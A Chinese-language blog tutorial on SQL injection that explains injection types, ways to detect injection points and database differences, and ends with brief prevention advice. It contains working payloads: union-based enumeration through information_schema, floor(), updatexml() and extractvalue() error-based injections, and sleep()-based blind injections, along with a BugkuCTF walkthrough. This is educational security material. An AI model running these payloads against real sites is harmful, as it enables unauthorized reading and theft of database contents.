zoukankan      html  css  js  c++  java
  • SQL注入漏洞

    漏洞简介

    SQL注入漏洞是一种将SQL代码插入或添加到应用输入的参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

    漏洞危害

    1.数据库内的信息被窃取,篡改

    2.服务器上的文件被读取或修改

    3.命令执行

    ......

    漏洞分类

    1.根据参数类型

    ①数字型

    网页链接类似于http://xxx.com/index.php?id=1,注入点id类型为数字型。SQL语句一般为:

    select * from flag where id=1
    

    ②字符型

    网页链接类似于http://xxx.com/index.php?name=admin,注入点name类型为字符型。SQL语句一般为:

    select * from flag where name = 'admin'
    

    ③搜索型

    网页链接类似于http://xxx.com/index.php?keyword=关键字, 主要是搜索框搜索。SQL语句一般为:

    select * from flag where age like '%关键字%'
    

    2.根据数据提交的方式

    ①GET型注入

    使用GET方式提交数据,注入点在url中参数部分。

    ②POST型注入

    使用POST方式提交数据,注入点在POST数据部分,常发生在表单中。

    ③Cookie型注入

    注入点发生在Cookie中的某个字段中。

    ④HTTP头部型注入

    注入点在HTTP请求头部的某个字段,比如User-Agent字段,X-Forward-For字段,Rerferer字段等。

    3.根据执行效果

    ①布尔盲注

    根据返回页面判断条件真假

    ②时间盲注

    通过判断时间是否延迟来判断SQL语句是否执行

    ③报错注入

    页面返回包含查询结果的错误信息

    ④堆查询注入

    可以同时执行多条语句的注入

    ⑤宽字节注入

    基本判断(以数字型为例)

    1.寻找注入点

    SQL注入可能出现在任何从系统或用户接收数据输入的前端应用中,注入点可能出现在GET请求、POST请求以及HTTP请求的Cookie、Hosts字段、Referer字段、User-Agent字段等数据中。

    2.注入点判断

    ①在参数后面加单引号或双引号,如果显示异常信息,说明可能存在注入漏洞。

    ②如果传入的参数(id)为数字,测试id=3-1与id=2的结果是否相同,如果相同则可能存在注入漏洞。

    ③利用and 1 = 1和and 1 = 2永假的原理。当使用and 1 = 1返回正常页面,而and 1 = 2返回异常页面则可能存在SQL漏洞。

    ④如果Web应用程序未显示任何错误信息,要考虑时间延迟注入。

    3.如果存在注入,根据注入类型,选择合适的payload来获取信息

    此处使用union联合查询进行注入示例:

    ①判断字段个数:

    order by 3--
    

    ②判断字段精确位置:

    ?id=1 and 1=2 union select 1, 2, 3-- 
    //强制报错显示第二个SELECT语句的执行结果
    

    ③获取数据库名和用户名:

    ?id=1 and 1=2 union select 1,database(), user()-- 
    

    ④获取表名:

    ?id=1 and 1=2 union select 1,2,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- 
    

    ⑤获取字段名:

    ?id=1 and 1=2 union select 1,2,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=flag limit 1,1-- 
    

    ⑥获取字段内容

    ?id=1 and 1=2 union select 1,id,flag from flag#
    

    报错注入

    1.floor()报错注入

    floor()函数的作用是向下取整,如:

    select floor(6.6); //返回6
    

    floor()报错注入是floor,count,group by在特定情况下一起使用产生主键冗余,造成报错。

    payload:

    and (select 1 from (select count(*), concat(database(), floor(rand(0)*2))x from information_schema.tables group by x)a)
    

    2.updatexml()报错注入

    UPDATEXML (XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称。
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据。
    作用:改变文档中符合条件的节点的值。

    payload:

    and updatexml(1, concat(0x7e, (select user()), 0x7e), 1)
    

    concat()函数将0x7e(~)与查询结果连接成字符串,不符合XPath_string的格式,从而出现格式错误。

    其它拼接函数:

    mysql> select updatexml(1, make_set(3, 0x7e, (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '~,root@localhost'
    mysql> select updatexml(1, lpad('@', 30, (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'
    mysql> select updatexml(1, repeat((select user()), 2), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'
    mysql> select updatexml(1, (select user()), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@localhost'
    mysql> select updatexml(1, reverse((select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '@toor'
    mysql> select updatexml(1, export_set(1|2, '::', (select user())), 1);
    ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'
    

    3.extractvalue()报错注入

    EXTRACTVALUE (XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)

    作用:从目标XML中返回包含所查询值的字符串。

    payload:

    and select extractvalue(1, concat(0x7e, (select user()), 0x7e));
    

    报错原理与updatexml()相同,XPath_string不符合要求。

    时间盲注

    根据页面回显的时间判断是否存在时间注入

    payload:

    and if(length(database())=12,sleep(5),1)# 如果数据库长度为12,页面延迟
    and if(ascii(substr(database(),1,1))=112, sleep(5), 1)#  如果数据库名的第一位ASCII码为112,页面延迟
    

    实例分析

    1.BugkuCTF中的成绩单

    判断字段个数:

    只有在测试4时,才有回显,所以可以判断有四列。

    查看字段位置:

    接下来可以在相应位置构造合适的SQL语句来查询想要的信息:

    获取数据库名,用户名,数据库版本:

    0' union select 1,database(),user(),version()#
    

    根据数据库查询表:

    0' union select 1, database(), (select group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'), version()#
    

    根据表去查询相应的字段:

    0' union select 1, database(), (select group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name = 'fl4g'), version()#
    

    根据字段去查询字段的内容:

    0' union select 1, database(), (select fl4g from skctf_flag), version()#
    

    2.cve-2018-8045 Joomla SQL注入

    常见数据库类型

    1.MYSQL数据库

    ①端口号:3306

    ②注释:--空格,/* */,#

    ③默认数据库information_schema以及其中的SCHEMATA、TABLES和COLUMNS

    select schema_name from information_schema.schemata; #查询全部数据库
    select table_schema,table_name from information_schema.tables; #查询全部数据库和表的对应
    select column_name from information_schema.columns; 查询全部列
    

    ④字符串拼接

    ‘a' 'b' = 'ab'

    select 'a' 'b';
    select concat('a', 'b');
    

    2.Oracle数据库

    ①端口号:1521

    ②注释:--, /**/

    ③字符串拼接

    'a' || 'b' = 'ab'

    3.SQL Server数据库

    ①端口号:1433

    ②注释:--, /**/

    ③字符串拼接

    'a'+'b' = 'ab'

    ④Access

    ⑤PostgreSQL

    ⑥DB2

    ⑦MongoDB

    漏洞防范

    1.使用预处理语句而非动态SQL来组装SQL查询。

    2.使用白名单对输入内容进行验证。

    3.编码输出。

    4.合理设计数据库用户权限

    参考链接

    https://www.cnblogs.com/Eleven-Liu/p/9712576.html

    https://www.cnblogs.com/xuthus/p/9450805.html

    https://xz.aliyun.com/t/5878

    https://www.freebuf.com/column/174974.html

  • 相关阅读:
    关于求 p_i != i and p_i != i+1 的方案数的思考过程
    poj 3041 Asteroids 二分图最小覆盖点
    poj 1325 Machine Schedule 最小顶点覆盖
    poj 1011 Sticks 减枝搜索
    poj 1469 COURSES 最大匹配
    zoj 1516 Uncle Tom's Inherited Land 最大独立边集合(最大匹配)
    Path Cover (路径覆盖)
    hdu 3530 SubSequence TwoPoint单调队列维护最值
    zoj 1654 Place the Rebots 最大独立集转换成二分图最大独立边(最大匹配)
    poj 1466 Girls and Boys 二分图最大独立子集
  • 原文地址:https://www.cnblogs.com/Son01/p/12912010.html
Copyright © 2011-2022 走看看